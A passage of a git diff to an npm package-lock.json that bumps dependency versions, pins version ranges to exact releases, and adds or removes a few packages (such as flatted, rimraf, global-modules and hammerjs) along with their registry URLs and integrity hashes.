"requires": { - "circular-json": "^0.3.1", - "del": "^2.0.2", - "graceful-fs": "^4.1.2", - "write": "^0.2.1" + "flatted": "2.0.1", + "rimraf": "2.6.3", + "write": "1.0.3" + }, + "dependencies": { + "rimraf": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz", + "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==", + "dev": true, + "requires": { + "glob": "7.1.6" + } + } } }, + "flatted": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-2.0.1.tgz", + "integrity": "sha512-a1hQMktqW9Nmqr5aktAux3JMNqaucxGcjtjWnZLHX7yyPCmlSV3M54nGYbqT8K+0GhF3NBgmJCc3ma+WOgX8Jg==", + "dev": true + }, "flush-write-stream": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.0.3.tgz", - "integrity": "sha512-calZMC10u0FMUqoiunI2AiGIIUtUIvifNwkHhNupZH4cbNnW1Itkoh/Nf5HFYmDrwWPjrUxpkZT0KhuCq0jmGw==", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.1.1.tgz", + "integrity": "sha512-3Z4XhFZ3992uIq0XOqb9AreonueSYphE6oYbpt5+3u06JWklbsPkNv3ZKkP9Bz/r+1MWCaMoSQ28P85+1Yc77w==", "dev": true, "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.4" + "inherits": "2.0.3", + "readable-stream": "2.3.6" }, "dependencies": { "isarray": { @@ -5578,9 +6178,9 @@ "dev": true }, "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", "dev": true }, "readable-stream": { @@ -5589,13 +6189,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -5604,28 +6204,34 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } }, "follow-redirects": { - "version": "1.5.5", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.5.5.tgz", - "integrity": "sha512-GHjtHDlY/ehslqv0Gr5N0PUJppgg/q0rOBvX0na1s7y1A3LWxPqCYU76s3Z1bM4+UZB4QF0usaXLT5wFpof5PA==", + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.9.0.tgz", + "integrity": "sha512-CRcPzsSIbXyVDl0QI01muNDu69S8trU4jArW9LpOt2WtC6LyUJetcIrmfHsRBx7/Jb6GHJUiuqyYxPooFfNt6A==", "dev": true, "requires": { - "debug": "^3.1.0" + "debug": "3.2.6" }, "dependencies": { "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", + "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", "dev": true, "requires": { - "ms": "2.0.0" + "ms": "2.1.2" } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true } } }, @@ -5637,7 +6243,8 @@ "for-in": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", - "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=" + "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=", + "dev": true }, "for-own": { "version": "0.1.5", @@ -5646,7 +6253,7 @@ "dev": true, "optional": true, "requires": { - "for-in": "^1.0.1" + "for-in": "1.0.2" } }, "forever-agent": { @@ -5659,9 +6266,9 @@ "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.2.tgz", "integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=", "requires": { - "asynckit": "^0.4.0", + "asynckit": "0.4.0", "combined-stream": "1.0.6", - "mime-types": "^2.1.12" + "mime-types": "2.1.16" } }, "forwarded": { @@ -5676,7 +6283,7 @@ "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", "dev": true, "requires": { - "map-cache": "^0.2.2" + "map-cache": "0.2.2" } }, "fresh": { @@ -5691,8 +6298,8 @@ "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", "dev": true, "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.0" + "inherits": "2.0.3", + "readable-stream": "2.3.6" }, "dependencies": { "isarray": { @@ -5702,9 +6309,9 @@ "dev": true }, "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", "dev": true }, "readable-stream": { @@ -5713,13 +6320,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -5728,7 +6335,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -5739,9 +6346,9 @@ "integrity": "sha1-zTzl9+fLYUWIP8rjGR6Yd/hYeVA=", "dev": true, "requires": { - "graceful-fs": "^4.1.2", - "jsonfile": "^2.1.0", - "klaw": "^1.0.0" + "graceful-fs": "4.1.11", + "jsonfile": "2.4.0", + "klaw": "1.3.1" } }, "fs-readdir-recursive": { @@ -5756,10 +6363,10 @@ "integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=", "dev": true, "requires": { - "graceful-fs": "^4.1.2", - "iferr": "^0.1.5", - "imurmurhash": "^0.1.4", - "readable-stream": "1 || 2" + "graceful-fs": "4.1.11", + "iferr": "0.1.5", + "imurmurhash": "0.1.4", + "readable-stream": "1.0.34" } }, "fs.realpath": { @@ -5774,8 +6381,8 @@ "dev": true, "optional": true, "requires": { - "nan": "^2.3.0", - "node-pre-gyp": "^0.6.36" + "nan": "2.6.2", + "node-pre-gyp": "0.6.36" }, "dependencies": { "abbrev": { @@ -5790,8 +6397,8 @@ "dev": true, "optional": true, "requires": { - "co": "^4.6.0", - "json-stable-stringify": "^1.0.1" + "co": "4.6.0", + "json-stable-stringify": "1.0.1" } }, "ansi-regex": { @@ -5864,7 +6471,7 @@ "bundled": true, "dev": true, "requires": { - "inherits": "~2.0.0" + "inherits": "2.0.3" } }, "boom": { @@ -5872,7 +6479,7 @@ "bundled": true, "dev": true, "requires": { - "hoek": "2.x.x" + "hoek": "2.16.3" } }, "brace-expansion": { @@ -5880,7 +6487,7 @@ "bundled": true, "dev": true, "requires": { - "balanced-match": "^0.4.1", + "balanced-match": "0.4.2", "concat-map": "0.0.1" } }, @@ -5911,7 +6518,7 @@ "bundled": true, "dev": true, "requires": { - "delayed-stream": "~1.0.0" + "delayed-stream": "1.0.0" } }, "concat-map": { @@ -5935,7 +6542,7 @@ "dev": true, "optional": true, "requires": { - "boom": "2.x.x" + "boom": "2.10.1" } }, "dashdash": { @@ -5944,7 +6551,7 @@ "dev": true, "optional": true, "requires": { - "assert-plus": "^1.0.0" + "assert-plus": "1.0.0" }, "dependencies": { "assert-plus": { @@ -5987,7 +6594,7 @@ "dev": true, "optional": true, "requires": { - "jsbn": "~0.1.0" + "jsbn": "0.1.1" } }, "extend": { @@ -6067,7 +6674,7 @@ "dev": true, "optional": true, "requires": { - "assert-plus": "^1.0.0" + "assert-plus": "1.0.0" }, "dependencies": { "assert-plus": { @@ -6108,8 +6715,8 @@ "dev": true, "optional": true, "requires": { - "ajv": "^4.9.1", - "har-schema": "^1.0.5" + "ajv": "4.11.8", + "har-schema": "1.0.5" } }, "has-unicode": { @@ -6170,6 +6777,7 @@ "version": "1.0.0", "bundled": true, "dev": true, + "optional": true, "requires": { "number-is-nan": "^1.0.0" } @@ -6197,14 +6805,13 @@ "dev": true, "optional": true, "requires": { - "jsbn": "~0.1.0" + "jsbn": "0.1.1" } }, "jsbn": { "version": "0.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "json-schema": { "version": "0.2.3", @@ -6218,7 +6825,7 @@ "dev": true, "optional": true, "requires": { - "jsonify": "~0.0.0" + "jsonify": "0.0.0" } }, "json-stringify-safe": { @@ -6256,12 +6863,14 @@ "mime-db": { "version": "1.27.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "mime-types": { "version": "2.1.15", "bundled": true, "dev": true, + "optional": true, "requires": { "mime-db": "~1.27.0" } @@ -6335,7 +6944,8 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "oauth-sign": { "version": "0.8.2", @@ -6393,7 +7003,8 @@ "process-nextick-args": { "version": "1.0.7", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "punycode": { "version": "1.4.1", @@ -6431,6 +7042,7 @@ "version": "2.2.9", "bundled": true, "dev": true, + "optional": true, "requires": { "buffer-shims": "~1.0.0", "core-util-is": "~1.0.0", @@ -6482,7 +7094,8 @@ "safe-buffer": { "version": "5.0.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "semver": { "version": "5.3.0", @@ -6540,6 +7153,7 @@ "version": "1.0.2", "bundled": true, "dev": true, + "optional": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -6550,6 +7164,7 @@ "version": "1.0.1", "bundled": true, "dev": true, + "optional": true, "requires": { "safe-buffer": "^5.0.1" } @@ -6578,6 +7193,7 @@ "version": "2.2.1", "bundled": true, "dev": true, + "optional": true, "requires": { "block-stream": "*", "fstream": "^1.0.2", @@ -6633,7 +7249,8 @@ "util-deprecate": { "version": "1.0.2", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "uuid": { "version": "3.0.1", @@ -6671,10 +7288,10 @@ "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz", "integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==", "requires": { - "graceful-fs": "^4.1.2", - "inherits": "~2.0.0", - "mkdirp": ">=0.5 0", - "rimraf": "2" + "graceful-fs": "4.1.11", + "inherits": "2.0.3", + "mkdirp": "0.5.1", + "rimraf": "2.7.1" } }, "function-bind": { @@ -6694,14 +7311,14 @@ "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz", "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=", "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.3" }, "dependencies": { "is-fullwidth-code-point": { @@ -6709,7 +7326,7 @@ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", "requires": { - "number-is-nan": "^1.0.0" + "number-is-nan": "1.0.1" } }, "string-width": { @@ -6717,9 +7334,9 @@ "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } } } @@ -6729,7 +7346,7 @@ "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz", "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==", "requires": { - "globule": "^1.0.0" + "globule": "1.2.1" } }, "get-caller-file": { @@ -6749,10 +7366,13 @@ "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=" }, "get-stream": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", - "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=", - "dev": true + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "dev": true, + "requires": { + "pump": "3.0.0" + } }, "get-value": { "version": "2.0.6", @@ -6765,20 +7385,20 @@ "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", "requires": { - "assert-plus": "^1.0.0" + "assert-plus": "1.0.0" } }, "glob": { - "version": "7.1.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz", - "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==", + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" } }, "glob-base": { @@ -6788,8 +7408,8 @@ "dev": true, "optional": true, "requires": { - "glob-parent": "^2.0.0", - "is-glob": "^2.0.0" + "glob-parent": "2.0.0", + "is-glob": "2.0.1" } }, "glob-parent": { @@ -6798,24 +7418,68 @@ "integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=", "dev": true, "requires": { - "is-glob": "^2.0.0" + "is-glob": "2.0.1" } }, "global": { - "version": "4.3.2", - "resolved": "https://registry.npmjs.org/global/-/global-4.3.2.tgz", - "integrity": "sha1-52mJJopsdMOJCLEwWxD8DjlOnQ8=", + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/global/-/global-4.4.0.tgz", + "integrity": "sha512-wv/LAoHdRE3BeTGz53FAamhGlPLhlssK45usmGFThIi4XqnBmjKQ16u+RNbP7WvigRZDxUsM0J3gcQ5yicaL0w==", "dev": true, "requires": { - "min-document": "^2.19.0", - "process": "~0.5.1" + "min-document": "2.19.0", + "process": "0.11.10" } }, - "global-modules-path": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/global-modules-path/-/global-modules-path-2.3.0.tgz", - "integrity": "sha512-HchvMJNYh9dGSCy8pOQ2O8u/hoXaL+0XhnrwH0RyLiSXMMTl9W3N6KUU73+JFOg5PGjtzl6VZzUQsnrpm7Szag==", - "dev": true + "global-modules": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz", + "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==", + "dev": true, + "requires": { + "global-prefix": "3.0.0" + }, + "dependencies": { + "global-prefix": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz", + "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==", + "dev": true, + "requires": { + "ini": "1.3.5", + "kind-of": "6.0.2", + "which": "1.3.1" + } + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true + }, + "which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "requires": { + "isexe": "2.0.0" + } + } + } + }, + "global-prefix": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz", + "integrity": "sha1-2/dDxsFJklk8ZVVoy2btMsASLr4=", + "dev": true, + "requires": { + "expand-tilde": "2.0.2", + "homedir-polyfill": "1.0.3", + "ini": "1.3.5", + "is-windows": "1.0.2", + "which": "1.3.0" + } }, "globals": { "version": "9.18.0", @@ -6824,17 +7488,16 @@ "dev": true }, "globby": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-5.0.0.tgz", - "integrity": "sha1-69hGZ8oNuzMLmbz8aOrCvFQ3Dg0=", + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-6.1.0.tgz", + "integrity": "sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=", "dev": true, "requires": { - "array-union": "^1.0.1", - "arrify": "^1.0.0", - "glob": "^7.0.3", - "object-assign": "^4.0.1", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0" + "array-union": "1.0.2", + "glob": "7.1.6", + "object-assign": "4.1.1", + "pify": "2.3.0", + "pinkie-promise": "2.0.1" } }, "globule": { @@ -6842,9 +7505,9 @@ "resolved": "https://registry.npmjs.org/globule/-/globule-1.2.1.tgz", "integrity": "sha512-g7QtgWF4uYSL5/dn71WxubOrS7JVGCnFPEnoeChJmBnyR9Mw8nGoEwOgJL/RC2Te0WhbsEUCejfH8SZNJ+adYQ==", "requires": { - "glob": "~7.1.1", - "lodash": "~4.17.10", - "minimatch": "~3.0.2" + "glob": "7.1.6", + "lodash": "4.17.10", + "minimatch": "3.0.4" } }, "graceful-fs": { @@ -6858,15 +7521,10 @@ "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==", "dev": true }, - "hammerjs": { - "version": "2.0.8", - "resolved": "https://registry.npmjs.org/hammerjs/-/hammerjs-2.0.8.tgz", - "integrity": "sha1-BO93hiz/K7edMPdpIJWTAiK/YPE=" - }, "handle-thing": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-1.2.5.tgz", - "integrity": "sha1-/Xqtcmvxpf0W38KbL3pmAdJxOcQ=", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.0.tgz", + "integrity": "sha512-d4sze1JNC454Wdo2fkuyzCr6aHcbL6PGGuFAz0Li/NcOm1tCHGnWDRmJP85dh9IhQErTc2svWFEX5xHIOo//kQ==", "dev": true }, "handlebars": { @@ -6875,10 +7533,10 @@ "integrity": "sha1-Ywo13+ApS8KB7a5v/F0yn8eYLcw=", "dev": true, "requires": { - "async": "^1.4.0", - "optimist": "^0.6.1", - "source-map": "^0.4.4", - "uglify-js": "^2.6" + "async": "1.5.2", + "optimist": "0.6.1", + "source-map": "0.4.4", + "uglify-js": "2.8.29" }, "dependencies": { "source-map": { @@ -6887,7 +7545,7 @@ "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", "dev": true, "requires": { - "amdefine": ">=0.0.4" + "amdefine": "1.0.1" } } } @@ -6903,8 +7561,8 @@ "integrity": "sha1-ukAsJmGU8VlW7xXg/PJCmT9qff0=", "dev": true, "requires": { - "ajv": "^5.1.0", - "har-schema": "^2.0.0" + "ajv": "5.5.2", + "har-schema": "2.0.0" }, "dependencies": { "ajv": { @@ -6913,10 +7571,10 @@ "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", "dev": true, "requires": { - "co": "^4.6.0", - "fast-deep-equal": "^1.0.0", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.3.0" + "co": "4.6.0", + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" } } } @@ -6927,7 +7585,7 @@ "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", "dev": true, "requires": { - "function-bind": "^1.1.1" + "function-bind": "1.1.1" } }, "has-ansi": { @@ -6935,7 +7593,7 @@ "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", "requires": { - "ansi-regex": "^2.0.0" + "ansi-regex": "2.1.1" } }, "has-binary2": { @@ -6984,9 +7642,9 @@ "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", "dev": true, "requires": { - "get-value": "^2.0.6", - "has-values": "^1.0.0", - "isobject": "^3.0.0" + "get-value": "2.0.6", + "has-values": "1.0.0", + "isobject": "3.0.1" }, "dependencies": { "isobject": { @@ -7003,8 +7661,8 @@ "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", "dev": true, "requires": { - "is-number": "^3.0.0", - "kind-of": "^4.0.0" + "is-number": "3.0.0", + "kind-of": "4.0.0" }, "dependencies": { "is-number": { @@ -7013,7 +7671,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -7022,7 +7680,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -7033,7 +7691,7 @@ "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -7044,18 +7702,18 @@ "integrity": "sha1-X8hoaEfs1zSZQDMZprCj8/auSRg=", "dev": true, "requires": { - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" + "inherits": "2.0.3", + "safe-buffer": "5.1.1" } }, "hash.js": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.5.tgz", - "integrity": "sha512-eWI5HG9Np+eHV1KQhisXWwM+4EPPYe5dFX1UZZH7k/E3JzDEazVH+VGlZi6R94ZqImq+A3D1mCEtrFIfg/E7sA==", + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz", + "integrity": "sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==", "dev": true, "requires": { - "inherits": "^2.0.3", - "minimalistic-assert": "^1.0.1" + "inherits": "2.0.3", + "minimalistic-assert": "1.0.1" } }, "hasha": { @@ -7064,8 +7722,8 @@ "integrity": "sha1-eNfL/B5tZjA/55g3NlmEUXsvbuE=", "dev": true, "requires": { - "is-stream": "^1.0.1", - "pinkie-promise": "^2.0.0" + "is-stream": "1.1.0", + "pinkie-promise": "2.0.1" } }, "hawk": { @@ -7074,10 +7732,10 @@ "integrity": "sha512-miowhl2+U7Qle4vdLqDdPt9m09K6yZhkLDTWGoUiUzrQCn+mHHSmfJgAyGaLRZbPmTqfFFjRV1QWCW0VWUJBbQ==", "dev": true, "requires": { - "boom": "4.x.x", - "cryptiles": "3.x.x", - "hoek": "4.x.x", - "sntp": "2.x.x" + "boom": "4.3.1", + "cryptiles": "3.1.2", + "hoek": "4.2.1", + "sntp": "2.1.0" } }, "he": { @@ -7089,13 +7747,13 @@ "history": { "version": "4.7.2", "resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz", - "integrity": "sha1-IrXH8xYzxbgCHH9KipVKwTnujVs=", + "integrity": "sha512-1zkBRWW6XweO0NBcjiphtVJVsIQ+SXF29z9DVkceeaSLVMFXHool+fdCZD4spDCfZJCILPILc3bm7Bc+HRi0nA==", "requires": { - "invariant": "^2.2.1", - "loose-envify": "^1.2.0", - "resolve-pathname": "^2.2.0", - "value-equal": "^0.4.0", - "warning": "^3.0.0" + "invariant": "2.2.2", + "loose-envify": "1.3.1", + "resolve-pathname": "2.2.0", + "value-equal": "0.4.0", + "warning": "3.0.0" } }, "hmac-drbg": { @@ -7104,9 +7762,9 @@ "integrity": "sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=", "dev": true, "requires": { - "hash.js": "^1.0.3", - "minimalistic-assert": "^1.0.0", - "minimalistic-crypto-utils": "^1.0.1" + "hash.js": "1.1.7", + "minimalistic-assert": "1.0.1", + "minimalistic-crypto-utils": "1.0.1" } }, "hoek": { @@ -7126,8 +7784,17 @@ "integrity": "sha1-42w/LSyufXRqhX440Y1fMqeILbg=", "dev": true, "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.1" + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" + } + }, + "homedir-polyfill": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz", + "integrity": "sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==", + "dev": true, + "requires": { + "parse-passwd": "1.0.0" } }, "hosted-git-info": { @@ -7141,10 +7808,10 @@ "integrity": "sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI=", "dev": true, "requires": { - "inherits": "^2.0.1", - "obuf": "^1.0.0", - "readable-stream": "^2.0.1", - "wbuf": "^1.1.0" + "inherits": "2.0.3", + "obuf": "1.1.2", + "readable-stream": "2.3.6", + "wbuf": "1.7.3" }, "dependencies": { "isarray": { @@ -7154,9 +7821,9 @@ "dev": true }, "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": 